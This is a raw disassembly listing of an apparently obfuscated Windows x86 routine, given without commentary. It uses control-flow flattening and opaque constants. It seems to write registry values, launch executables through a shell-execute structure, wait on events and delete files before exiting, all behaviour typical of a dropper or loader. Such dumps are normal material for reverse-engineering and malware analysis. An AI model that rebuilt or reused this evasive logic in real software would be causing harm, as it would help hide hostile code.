mov ecx, dword [0x52ecb4]
mov edx, dword [esp + 0x252c]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x1c8], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb4]
mov edx, dword [esp + 0x250c]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x1c4], eax
call ecx
sub esp, 8
mov dword [esp + 0x1c0], eax
call fcn.0041a16b
lea ecx, [esp + 0x22e6]
mov edx, 5
xor esi, esi
mov dword [esp + 0x1bc], edx
mov edx, esi
mov esi, dword [esp + 0x1bc]
div esi
mov eax, dword [edx*4 + 0x4ec494]
mov dword [esp + 0x24f4], eax
mov eax, dword [esp + 0x24f4]
movzx eax, word [eax]
mov dword [esp + 0x740], eax
mov eax, dword [esp + 0x24f4]
movzx eax, word [eax]
mov dword [esp + 0x6e0], eax
mov eax, dword [esp + 0x6e0]
add eax, 0xaedab098
add eax, 1
sub eax, 0xaedab098
mov edx, dword [esp + 0x24f4]
movzx eax, word [edx + eax*2]
mov dword [esp + 0x6dc], eax
mov eax, dword [esp + 0x6dc]
mov edx, dword [esp + 0x24f4]
mov edi, dword [esp + 0x6e0]
shl edi, 1
add edx, edi
add edx, 4
mov edi, dword [esp + 0x24f4]
add edi, 2
mov ebx, dword [esp + 0x6e0]
mov dword [esp], ecx
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], eax
call fcn.004017a0
mov eax, 0x104
lea ecx, [esp + 0x1296]
lea edx, [esp + 0x22e6]
mov esi, dword [esp + 0x740]
mov dword [esp], ecx
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], esi
mov dword [esp + 0x1b8], eax
call fcn.0044e330
lea ecx, str..exe
mov edx, 4
lea esi, [esp + 0x1296]
mov edi, 0x2dc28acc
mov ebx, dword [esp + 0x740]
add edi, 0x104
sub edi, ebx
sub edi, 0x2dc28acc
mov ebx, dword [esp + 0x740]
shl ebx, 1
add esi, ebx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x1b4], eax
mov dword [esp + 0x1b0], edx
call fcn.0044e330
mov ecx, 0x104
lea edx, [esp + 0x108c]
lea esi, [esp + 0x22e6]
mov edi, dword [esp + 0x740]
mov dword [esp], edx
mov dword [esp + 4], 0x104
mov dword [esp + 8], esi
mov dword [esp + 0xc], edi
mov dword [esp + 0x1ac], eax
mov dword [esp + 0x1a8], ecx
call fcn.0044e330
lea ecx, str.32.exe
mov edx, 6
lea esi, [esp + 0x108c]
mov edi, 0
mov ebx, dword [esp + 0x740]
sub edi, ebx
add edi, 0x104
mov ebx, dword [esp + 0x740]
shl ebx, 1
add esi, ebx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 6
mov dword [esp + 0x1a4], eax
mov dword [esp + 0x1a0], edx
call fcn.0044e330
lea ecx, [esp + 0x754]
mov edx, dword [0x4ec4a8]
movzx edx, byte [edx]
mov dword [esp + 0x6d8], edx
mov edx, dword [esp + 0x6d8]
add edx, 0x30fc2d36
add edx, 1
sub edx, 0x30fc2d36
mov esi, dword [0x4ec4a8]
movzx edx, byte [esi + edx]
mov dword [esp + 0x6d4], edx
mov edx, dword [esp + 0x6d4]
mov esi, dword [0x4ec4a8]
add esi, dword [esp + 0x6d8]
add esi, 2
mov edi, dword [0x4ec4a8]
add edi, 1
mov ebx, dword [esp + 0x6d8]
mov dword [esp], ecx
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x19c], eax
call fcn.0042e8f0
mov eax, dword [0x52eccc]
mov ecx, dword [0x52eb14]
mov edx, dword [esp + 0x256c]
mov esi, esp
mov dword [esi + 4], ecx
mov dword [esi], edx
call eax
sub esp, 8
lea ecx, [esp + 0x1296]
mov dword [esp + 0x2500], eax
mov eax, dword [0x52ecc0]
mov edx, dword [0x52eaec]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 8], ecx
mov dword [edi + 4], edx
mov dword [edi], esi
call eax
sub esp, 0xc
lea ecx, [esp + 0x108c]
mov edx, dword [0x52ecc0]
mov esi, dword [0x52eaf4]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [ebx + 8], ecx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [esp + 0x198], eax
call edx
sub esp, 0xc
mov ecx, dword [0x52ecc0]
mov edx, dword [0x52eaf0]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [edi + 8], str.Microsoft
mov dword [esp + 0x194], eax
call ecx
sub esp, 0xc
lea ecx, [esp + 0x754]
mov edx, dword [0x52ecb8]
mov esi, dword [0x52eb2c]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [ebx + 8], ecx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [ebx + 0xc], 0x10
mov dword [esp + 0x190], eax
call edx
sub esp, 0x10
mov ecx, dword [0x52eccc]
mov edx, dword [0x52eb18]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x18c], eax
call ecx
sub esp, 8
mov dword [esp + 0x24fc], eax
mov eax, dword [0x52ecc0]
mov ecx, dword [0x52eaec]
mov edx, dword [esp + 0x256c]
mov esi, esp
mov dword [esi + 4], ecx
mov dword [esi], edx
mov dword [esi + 8], 0x458260
call eax
sub esp, 0xc
mov ecx, dword [0x52ecc8]
mov edx, dword [esp + 0x24fc]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x188], eax
call ecx
sub esp, 8
lea ecx, [esp + 0x774]
mov edx, dword [str._v_Ys]
movzx edx, word [edx]
mov dword [esp + 0x6d0], edx
mov edx, dword [esp + 0x6d0]
add edx, 0xe46f6f8
add edx, 1
sub edx, 0xe46f6f8
mov esi, dword [str._v_Ys]
movzx edx, word [esi + edx*2]
mov dword [esp + 0x6cc], edx
mov edx, dword [esp + 0x6cc]
mov esi, dword [str._v_Ys]
mov edi, dword [esp + 0x6d0]
shl edi, 1
add esi, edi
add esi, 4
mov edi, dword [str._v_Ys]
add edi, 2
mov ebx, dword [esp + 0x6d0]
mov dword [esp], ecx
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x184], eax
call fcn.004017a0
mov eax, dword [0x52eccc]
mov ecx, dword [0x52eb1c]
mov edx, dword [esp + 0x256c]
mov esi, esp
mov dword [esi + 4], ecx
mov dword [esi], edx
call eax
sub esp, 8
lea ecx, [esp + 0x774]
mov dword [esp + 0x24f8], eax
mov eax, dword [0x52ecc0]
mov edx, dword [0x52eaec]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 8], ecx
mov dword [edi + 4], edx
mov dword [edi], esi
call eax
sub esp, 0xc
lea ecx, [esp + 0x16aa]
mov edx, dword [0x52ecc0]
mov esi, dword [0x52eaf8]
mov edi, dword [esp + 0x256c]
mov ebx, esp
mov dword [ebx + 8], ecx
mov dword [ebx + 4], esi
mov dword [ebx], edi
mov dword [esp + 0x180], eax
call edx
sub esp, 0xc
mov ecx, dword [0x52ecc8]
mov edx, dword [esp + 0x24f8]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x17c], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecc8]
mov edx, dword [esp + 0x2500]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x178], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb0]
mov edx, dword [esp + 0x250c]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x174], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb0]
mov edx, dword [esp + 0x252c]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x170], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb4]
mov edx, dword [esp + 0x2514]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x16c], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb4]
mov edx, dword [esp + 0x2510]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x168], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb0]
mov edx, dword [esp + 0x2510]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x164], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb0]
mov edx, dword [esp + 0x2514]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x160], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb4]
mov edx, dword [esp + 0x251c]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x15c], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecb0]
mov edx, dword [esp + 0x251c]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x158], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecc8]
mov edx, dword [esp + 0x2508]
mov esi, dword [esp + 0x256c]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
mov dword [esp + 0x154], eax
call ecx
sub esp, 8
mov ecx, dword [0x52ecd8]
mov edx, dword [esp + 0x256c]
mov esi, esp
mov dword [esi], edx
mov dword [esp + 0x150], eax
call ecx
sub esp, 4
mov eax, 0x20a
lea ecx, [esp + 0x864]
mov dword [esp], ecx
mov dword [esp + 4], 0x20a
mov dword [esp + 0x14c], eax
call fcn.00452b20
lea eax, [esp + 0x864]
mov ecx, dword [0x52ed24]
mov edx, esp
mov dword [edx + 8], eax
mov dword [edx + 4], 0
mov dword [edx], 0
call ecx
sub esp, 0xc
mov ecx, 0x9e0c2d04
mov edx, 0xd2e3653b
mov dword [esp + 0x2578], eax
cmp dword [esp + 0x2578], 0
cmove ecx, edx
mov dword [esp + 0x6c0], ecx
jmp 0x437895
lea eax, [esp + 0x16aa]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
sub esp, 4
lea ecx, [esp + 0xc78]
mov dword [esp], ecx
mov dword [esp + 0x148], eax
call fcn.0042a080
mov dword [esp + 0x6c0], 0x7375a46
jmp 0x437895
mov eax, dword [esp + 0x2578]
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov ecx, 0x16d5361c
mov edx, 0x599ad9ba
mov dword [esp + 0x72c], eax
cmp dword [esp + 0x72c], 0
cmovne ecx, edx
mov dword [esp + 0x6c0], ecx
jmp 0x437895
mov eax, 0x16d5361c
mov ecx, 0x7690d96
cmp dword [esp + 0x72c], 0x80
cmovne eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
lea eax, [esp + 0x16aa]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
sub esp, 4
lea ecx, [esp + 0xc78]
mov dword [esp], ecx
mov dword [esp + 0x144], eax
call fcn.0042a080
mov dword [esp + 0x6c0], 0x7375a46
jmp 0x437895
mov eax, 0
mov ecx, 0x20a
lea edx, [esp + 0xa6e]
lea esi, [0x458264]
mov dword [esp + 0x2530], 0x3c
mov dword [esp + 0x2534], 0x40
mov dword [esp + 0x2538], 0
mov dword [esp + 0x253c], esi
mov dword [esp + 0x2548], 0
mov dword [esp + 0x2550], 0
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esp + 0x140], eax
mov dword [esp + 0x13c], ecx
call fcn.00439800
mov ecx, 0x104
lea edx, [0x45826e]
mov esi, 3
lea edi, [esp + 0xa6e]
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], 3
mov dword [esp + 0x138], eax
mov dword [esp + 0x134], ecx
mov dword [esp + 0x130], esi
call fcn.0044e330
lea ecx, [esp + 0x1abe]
mov dword [esp], ecx
mov dword [esp + 0x12c], eax
call fcn.0044f5a0
mov ecx, 0x101
lea edx, [esp + 0xa6e]
lea esi, [esp + 0x1abe]
add edx, 6
mov dword [esp], edx
mov dword [esp + 4], 0x101
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x128], ecx
call fcn.0044e330
lea ecx, [esp + 0x20dc]
mov edx, 0
mov esi, dword [0x4ec4b0]
movzx esi, word [esi]
mov dword [esp + 0x6c8], esi
mov esi, dword [esp + 0x6c8]
sub edx, 1
sub esi, edx
mov edx, dword [0x4ec4b0]
movzx edx, word [edx + esi*2]
mov dword [esp + 0x6c4], edx
mov edx, dword [esp + 0x6c4]
mov esi, dword [0x4ec4b0]
mov edi, dword [esp + 0x6c8]
shl edi, 1
add esi, edi
add esi, 4
mov edi, dword [0x4ec4b0]
add edi, 2
mov ebx, dword [esp + 0x6c8]
mov dword [esp], ecx
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x124], eax
call fcn.004017a0
lea eax, [esp + 0x18b4]
mov ecx, esp
mov dword [ecx + 0xc], eax
mov dword [ecx + 8], 0
mov dword [ecx + 4], 0
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventW]
call eax
sub esp, 0x10
mov ecx, 0x28b03f5
mov edx, 0x34eed077
mov dword [esp + 0x2574], eax
cmp dword [esp + 0x2574], 0
cmove ecx, edx
mov dword [esp + 0x6c0], ecx
jmp 0x437895
lea eax, [esp + 0x16aa]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
sub esp, 4
lea ecx, [esp + 0xc78]
mov dword [esp], ecx
mov dword [esp + 0x120], eax
call fcn.0042a080
mov dword [esp + 0x6c0], 0x7375a46
jmp 0x437895
mov eax, 0x3aafc19d
mov ecx, 0x87b44146
mov edx, dword [esp + 0x73c]
shl edx, 1
mov dword [esp + 0x73c], edx
cmp dword [0x52d984], 0
cmovne eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, dword [0x52d984]
mov dword [esp], eax
call fcn.0044f5a0
shl eax, 1
mov dword [esp + 0x734], eax
mov dword [esp + 0x6c0], 0x3aafc19d
jmp 0x437895
lea eax, [esp + 0x18b4]
mov ecx, 4
mov edx, 0
mov esi, 0xaa97fb3d
mov edi, dword [esp + 0x73c]
mov ebx, edx
sub ebx, 4
mov dword [esp + 0x11c], eax
mov eax, edx
sub eax, edi
add ebx, eax
mov eax, edx
sub eax, ebx
add esi, 4
add esi, eax
sub esi, 0xaa97fb3d
mov eax, dword [esp + 0x734]
sub edx, eax
sub ecx, edx
sub esi, 0xe8e2158c
add esi, ecx
add esi, 0xe8e2158c
mov dword [esp + 0x730], esi
mov eax, dword [esp + 0x11c]
mov dword [esp], eax
call fcn.0044f5a0
mov ecx, 0x104
lea edx, [esp + 0x14a0]
lea esi, [esp + 0x18b4]
mov dword [esp], edx
mov dword [esp + 4], 0x104
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x118], ecx
call fcn.00423170
lea eax, [esp + 0x14a0]
mov ecx, dword [0x52ed0c]
mov edx, dword [esp + 0x730]
mov esi, esp
mov dword [esi + 0x14], eax
mov dword [esi + 0x10], edx
mov dword [esi + 0xc], 0
mov dword [esi + 8], 4
mov dword [esi + 4], 0
mov dword [esi], 0xffffffff
call ecx
sub esp, 0x18
mov ecx, 0x43d5877d
mov edx, 0x6833fd94
mov dword [esp + 0x2570], eax
cmp dword [esp + 0x2570], 0
cmove ecx, edx
mov dword [esp + 0x6c0], ecx
jmp 0x437895
mov eax, 0x6c76a043
mov dword [esp + 0x6c0], eax
jmp 0x437895
lea eax, [esp + 0x16aa]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
sub esp, 4
lea ecx, [esp + 0xc78]
mov dword [esp], ecx
mov dword [esp + 0x114], eax
call fcn.0042a080
mov eax, 0x7f912bf9
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov dword [esp + 0x6c0], 0x7375a46
jmp 0x437895
mov eax, dword [0x52ed08]
mov ecx, dword [esp + 0x730]
mov edx, dword [esp + 0x2570]
mov esi, esp
mov dword [esi + 0x10], ecx
mov dword [esi], edx
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
mov dword [esi + 4], 2
call eax
sub esp, 0x14
mov ecx, 0x8eb2902b
mov edx, 0xf52c8a25
mov dword [esp + 0x257c], eax
cmp dword [esp + 0x257c], 0
cmove ecx, edx
mov dword [esp + 0x6c0], ecx
jmp 0x437895
lea eax, [esp + 0x16aa]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
sub esp, 4
lea ecx, [esp + 0xc78]
mov dword [esp], ecx
mov dword [esp + 0x110], eax
call fcn.0042a080
mov dword [esp + 0x6c0], 0x7375a46
jmp 0x437895
lea eax, [esp + 0xc78]
mov ecx, dword [esp + 0x730]
mov edx, dword [esp + 0x257c]
mov dword [edx], ecx
mov ecx, dword [esp + 0x73c]
mov edx, dword [esp + 0x257c]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x73c]
mov edx, dword [esp + 0x73c]
mov esi, dword [esp + 0x257c]
add esi, 8
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
call fcn.0044e330
mov ecx, 0x1637a4f6
mov edx, 0x953698ee
mov esi, 8
mov edi, dword [esp + 0x734]
mov ebx, dword [esp + 0x257c]
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x73c]
sub esi, 0xa3597af5
add esi, eax
mov dword [ebx + esi - 0x5ca6850b], edi
cmp dword [0x52d984], 0
cmovne ecx, edx
mov dword [esp + 0x6c0], ecx
jmp 0x437895
mov eax, 0
mov ecx, dword [esp + 0x734]
mov edx, dword [0x52d984]
mov esi, dword [esp + 0x734]
mov edi, dword [esp + 0x257c]
mov ebx, dword [esp + 0x73c]
mov dword [esp + 0x108], eax
sub eax, 8
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x108]
sub eax, ebx
mov ebx, dword [esp + 0x104]
add ebx, eax
mov eax, dword [esp + 0x108]
sub eax, ebx
sub eax, 0x72a8290a
add eax, 4
add eax, 0x72a8290a
add edi, eax
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call fcn.0044e330
mov dword [esp + 0x6c0], 0x1637a4f6
mov dword [esp + 0x100], eax
jmp 0x437895
mov eax, 0x779cbc84
mov dword [esp + 0x6c0], eax
jmp 0x437895
lea eax, [esp + 0xa6e]
lea ecx, [esp + 0x20dc]
mov dword [esp + 0x2540], ecx
mov dword [esp + 0x2544], eax
mov dword [esp + 0x254c], 0
mov eax, dword [0x52ece8]
mov ecx, esp
lea edx, [esp + 0x2530]
mov dword [ecx], edx
call eax
sub esp, 4
mov ecx, 0x26fb59f
cmp eax, 1
setne bl
and bl, 1
mov byte [esp + 0x258c], bl
mov dword [esp + 0x6c0], ecx
jmp 0x437895
mov eax, 0x8080cb56
mov ecx, 0xcb09e7ac
mov dl, byte [esp + 0x258c]
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
lea eax, [esp + 0x16aa]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
sub esp, 4
lea ecx, [esp + 0xc78]
mov dword [esp], ecx
mov dword [esp + 0xfc], eax
call fcn.0042a080
mov dword [esp + 0x6c0], 0x7375a46
jmp 0x437895
mov eax, dword [esp + 0x2568]
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov ecx, dword [0x52ece4]
mov edx, esp
mov dword [edx + 0xc], 0
mov dword [edx + 8], 0
mov dword [edx + 4], 0
mov dword [edx], 0
mov dword [esp + 0xf8], eax
call ecx
sub esp, 0x10
lea ecx, [esp + 0x1296]
mov dword [esp + 0x2540], ecx
mov dword [esp + 0x2544], 0
mov dword [esp + 0x254c], 1
mov ecx, dword [0x52ece8]
mov edx, esp
lea esi, [esp + 0x2530]
mov dword [edx], esi
mov dword [esp + 0xf4], eax
call ecx
sub esp, 4
mov ecx, 0x6ed294f3
mov edx, 0x7383f5f9
cmp eax, 1
cmovne ecx, edx
mov dword [esp + 0x6c0], ecx
jmp 0x437895
lea eax, [esp + 0x16aa]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
sub esp, 4
lea ecx, [esp + 0xc78]
mov dword [esp], ecx
mov dword [esp + 0xf0], eax
call fcn.0042a080
mov dword [esp + 0x6c0], 0x7375a46
jmp 0x437895
mov eax, dword [esp + 0x2568]
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov ecx, dword [esp + 0x2574]
mov edx, esp
mov dword [edx], ecx
mov dword [edx + 4], 0xffffffff
mov ecx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esp + 0xec], eax
call ecx
sub esp, 8
mov ecx, 0x4a325be3
mov edx, 0xb0f3289c
cmp eax, 0
cmovne ecx, edx
mov dword [esp + 0x6c0], ecx
jmp 0x437895
mov eax, 0x7be3834c
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0x188a3cb1
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov dword [esp + 0x6c0], 0x7375a46
jmp 0x437895
mov eax, 0x43a1e677
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0
mov ecx, 0x20a
lea edx, [esp + 0xa6e]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esp + 0xe8], eax
mov dword [esp + 0xe4], ecx
call fcn.00439800
mov ecx, 0x104
lea edx, str._q__u
mov esi, 6
lea edi, [esp + 0xa6e]
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], 6
mov dword [esp + 0xe0], eax
mov dword [esp + 0xdc], ecx
mov dword [esp + 0xd8], esi
call fcn.0044e330
lea ecx, [esp + 0x1abe]
mov dword [esp], ecx
mov dword [esp + 0xd4], eax
call fcn.0044f5a0
mov ecx, 0xfe
lea edx, [esp + 0xa6e]
lea esi, [esp + 0x1abe]
add edx, 0xc
mov dword [esp], edx
mov dword [esp + 4], 0xfe
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0xd0], ecx
call fcn.0044e330
lea ecx, [esp + 0xa6e]
lea edx, [esp + 0x20dc]
mov dword [esp + 0x2540], edx
mov dword [esp + 0x2544], ecx
mov dword [esp + 0x254c], 0
mov ecx, dword [0x52ece8]
mov edx, esp
lea esi, [esp + 0x2530]
mov dword [edx], esi
mov dword [esp + 0xcc], eax
call ecx
sub esp, 4
mov ecx, 0xd5bd53d6
cmp eax, 1
setne bl
and bl, 1
mov byte [esp + 0x258d], bl
mov dword [esp + 0x6c0], ecx
jmp 0x437895
mov eax, 0x5de8a7b5
mov ecx, 0x96157600
mov dl, byte [esp + 0x258d]
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov dword [esp + 0x6c0], 0x7375a46
jmp 0x437895
mov eax, dword [esp + 0x2568]
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov ecx, dword [0x52ece4]
mov edx, esp
mov dword [edx + 0xc], 0
mov dword [edx + 8], 0
mov dword [edx + 4], 0
mov dword [edx], 0
mov dword [esp + 0xc8], eax
call ecx
sub esp, 0x10
mov dword [esp + 0x720], 1
mov dword [esp + 0x6c0], 0x7375a46
mov dword [esp + 0xc4], eax
jmp 0x437895
mov eax, 0x4ce292f
mov ecx, 0xd85c7c33
cmp dword [esp + 0x257c], 0
cmovne eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, dword [0x52ed04]
mov ecx, dword [esp + 0x257c]
mov edx, esp
mov dword [edx], ecx
call eax
sub esp, 4
mov dword [esp + 0x6c0], 0x4ce292f
mov dword [esp + 0xc0], eax
jmp 0x437895
mov eax, 0xe19ff7a5
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0xce79a24f
cmp dword [esp + 0x2570], 0
setne cl
and cl, 1
mov byte [esp + 0x258e], cl
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0x87ac494
mov ecx, 0xb84ec4c5
mov dl, byte [esp + 0x258e]
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, dword [esp + 0x2570]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 0x6c0], 0x87ac494
mov dword [esp + 0xbc], eax
jmp 0x437895
mov eax, 0xf02d7fad
mov ecx, 0x2cb293d4
cmp dword [esp + 0x2574], 0
cmovne eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0xa1bd6a2c
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, dword [esp + 0x2574]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov ecx, 0x1613fc2f
mov dword [esp + 0x6c0], ecx
mov dword [esp + 0xb8], eax
jmp 0x437895
mov dword [esp + 0x6c0], 0xf02d7fad
jmp 0x437895
mov eax, 0xf9e23e26
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0x2e7b26fb
cmp dword [esp + 0x2578], 0
setne cl
and cl, 1
mov byte [esp + 0x258f], cl
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0x7866571e
mov ecx, 0x91a0bba9
mov dl, byte [esp + 0x258f]
test dl, 1
cmovne eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, dword [esp + 0x2578]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 0x6c0], 0x7866571e
mov dword [esp + 0xb4], eax
jmp 0x437895
lea eax, [esp + 0x1abe]
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
sub esp, 4
mov dword [esp + 0xb0], eax
call fcn.0044b950
mov eax, 0xc2c39b84
mov ecx, 0x38f65482
cmp dword [esp + 0x720], 0
cmovne eax, ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov dword [esp + 0x6c0], 0x9d322d9
jmp 0x437895
mov eax, 0x7fb48320
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, esp
mov dword [eax], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
sub esp, 4
mov eax, 0xe0613195
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, dword [esp + 0x720]
mov dword [esp + 0x2580], eax
mov dword [esp + 0x6c0], 0xd1c96428
jmp 0x437895
mov eax, 0x74cae28a
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, 0xa8b03301
mov ecx, dword [esp + 0x2580]
mov dword [esp + 0x2590], ecx
mov dword [esp + 0x6c0], eax
jmp 0x437895
mov eax, dword [esp + 0x2590]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 0x6c0], 0x8a931c0a
jmp 0x437895
mov eax, 0x104
lea ecx, [esp + 0xe82]
mov dword [esp], ecx
mov dword [esp + 4], 0x104
mov dword [esp + 0xac], eax
call fcn.00401ce0
mov dword [esp + 0x744], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
call eax
lea ecx, str..exe
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0041a3e1
lea ecx, [0x45beda]
mov dword [esp + 0x24f0], eax
mov eax, dword [esp + 0x24f0]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0041a3e1
mov dword [0x52d984], eax
mov dword [esp + 0x6c0], 0x3fdedda2
jmp 0x437895
mov eax, 0x104
lea ecx, [esp + 0x18b4]
lea edx, [esp + 0xe82]
mov esi, dword [esp + 0x744]
mov dword [esp], ecx
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], esi
mov dword [esp + 0xa8], eax
call fcn.0044e960
